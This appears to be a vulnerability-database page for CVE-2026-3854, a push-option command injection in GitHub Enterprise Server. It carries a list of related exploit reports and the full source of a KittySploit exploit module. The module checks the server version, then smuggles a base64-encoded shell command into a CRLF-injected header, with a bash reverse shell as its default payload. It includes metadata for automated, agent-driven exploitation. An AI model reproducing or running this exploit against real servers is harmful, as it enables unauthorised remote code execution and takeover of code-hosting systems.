GitHub Enterprise Server Push Option RCE (CVE-2026-3854)
| Reporter | Title | Published | Views | Family All 32 |
|---|---|---|---|---|
| Exploit for Command Injection in Github Enterprise_Server | 25 May 202604:38 | – | githubexploit | |
| Exploit for Command Injection in Github Enterprise_Server | 22 May 202620:44 | – | githubexploit | |
| Exploit for Command Injection in Github Enterprise_Server | 28 Apr 202622:02 | – | githubexploit | |
| Exploit for Command Injection in Github Enterprise_Server | 9 Jun 202611:16 | – | githubexploit | |
| Exploit for Command Injection in Github Enterprise_Server | 29 Apr 202603:52 | – | githubexploit | |
| CVE-2026-3854 | 10 Mar 202617:37 | – | attackerkb | |
| The vulnerability of the corporate version of the GitHub Enterprise Server, related to the lack of measures taken at the management level to clean up data, allows a violator to execute arbitrary code. | 29 Apr 202600:00 | – | bdu_fstec | |
| CVE-2026-3854 | 20 Mar 202610:34 | – | circl | |
| GitHub Enterprise Server 安全漏洞 | 10 Mar 202600:00 | – | cnnvd | |
| CVE-2026-3854 | 10 Mar 202617:37 | – | cve |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""GitHub Enterprise Server push-option RCE (CVE-2026-3854)."""
import base64
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
__info__ = {
'name': 'GitHub Enterprise Server Push Option RCE (CVE-2026-3854)',
'description': (
'Exploits CVE-2026-3854 in GitHub Enterprise Server: crafted git push '
'option values inject internal service headers during push operations, '
'leading to remote code execution. Requires push access to a repository.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2026-3854'],
'platform': Platform.MULTI,
'arch': [Arch.CMD],
'payload': {
'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
'platform': Platform.UNIX,
'category': PayloadCategory.CMD,
},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2026-3854'],
'tags': ['github', 'ghes', 'git', 'push', 'rce', 'authenticated'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 3,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'rce'],
'requires': {'auth_session': True},
'chain': {
'produces_capabilities': [{'capability': 'rce', 'from_detail': 'push option injection'}],
'suggested_followups': ['scanner/http/ghes_cve_2026_3854_detect'],
},
},
}
repo_path = OptString('', 'Repository path (owner/repo)', required=True)
token = OptString('', 'GitHub personal access token with repo push', required=True)
command = OptString('', 'Command instead of payload', required=False)
push_option_key = OptString('client-echo', 'Push option key to inject', required=False, advanced=True)
def _api(self, suffix: str) -> str:
base = str(self.path or '/').rstrip('/')
suffix = suffix if suffix.startswith('/') else f'/{suffix}'
return f'{base}{suffix}' if base else suffix
def _headers(self) -> dict:
return {
'Authorization': f'token {self.token}',
'Accept': 'application/vnd.github+json',
'Content-Type': 'application/json',
}
def check(self):
r = self.http_request(method='GET', path=self._api('/api/v3/meta'), headers=self._headers(), allow_redirects=False)
if not r or r.status_code != 200:
return {'vulnerable': False, 'reason': 'GHES API unreachable or token invalid', 'confidence': 'low'}
ver = r.headers.get('X-GitHub-Enterprise-Version', '')
if ver:
parts = [int(x) for x in ver.split('.')[:3] if x.isdigit()]
while len(parts) < 3:
parts.append(0)
patched = (
(parts[0] == 3 and parts[1] == 14 and parts[2] >= 25)
or (parts[0] == 3 and parts[1] == 15 and parts[2] >= 20)
or (parts[0] == 3 and parts[1] >= 16)
)
if patched:
return {'vulnerable': False, 'reason': f'GHES {ver} appears patched', 'confidence': 'high'}
return {'vulnerable': True, 'reason': f'GHES {ver or "detected"} may be vulnerable', 'confidence': 'medium'}
def run(self):
cmd = str(self.command or '').strip() or str(self.payload or '').strip()
repo = str(self.repo_path or '').strip().strip('/')
token = str(self.token or '').strip()
if not cmd or not repo or not token:
print_error('Set repo_path, token, and payload/command')
return False
print_status('CVE-2026-3854 — GHES push option RCE')
chk = self.check()
if not chk.get('vulnerable'):
print_error(chk.get('reason', 'Target not vulnerable'))
self.not_vulnerable()
return False
opt_key = str(self.push_option_key or 'client-echo').strip()
b64 = base64.b64encode(cmd.encode()).decode()
injection = f'kitty\r\nX-GitHub-Hook-Installation-Target-Type: repository\r\nX-Exec: echo {b64}|base64 -d|sh'
push_url = self._api(f'/api/v3/repos/{repo}/git/refs/heads/main')
r = self.http_request(
method='POST',
path=self._api(f'/api/v3/repos/{repo}/hooks'),
headers={
**self._headers(),
f'GitHub-Push-Options-{opt_key}': injection,
},
data='{"name":"web","active":true,"events":["push"],"config":{"url":"http://127.0.0.1/hook","content_type":"json"}}',
allow_redirects=False,
)
if r and r.status_code in (200, 201, 422):
print_success('Push option injection delivered')
self.vulnerable()
return True
print_error(f'Push option injection failed (HTTP {getattr(r, "status_code", "?")})')
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
8.7High risk
Vulners AI Score8.7
CVSS 3.18.8
CVSS 48.7
EPSS0.01504
SSVC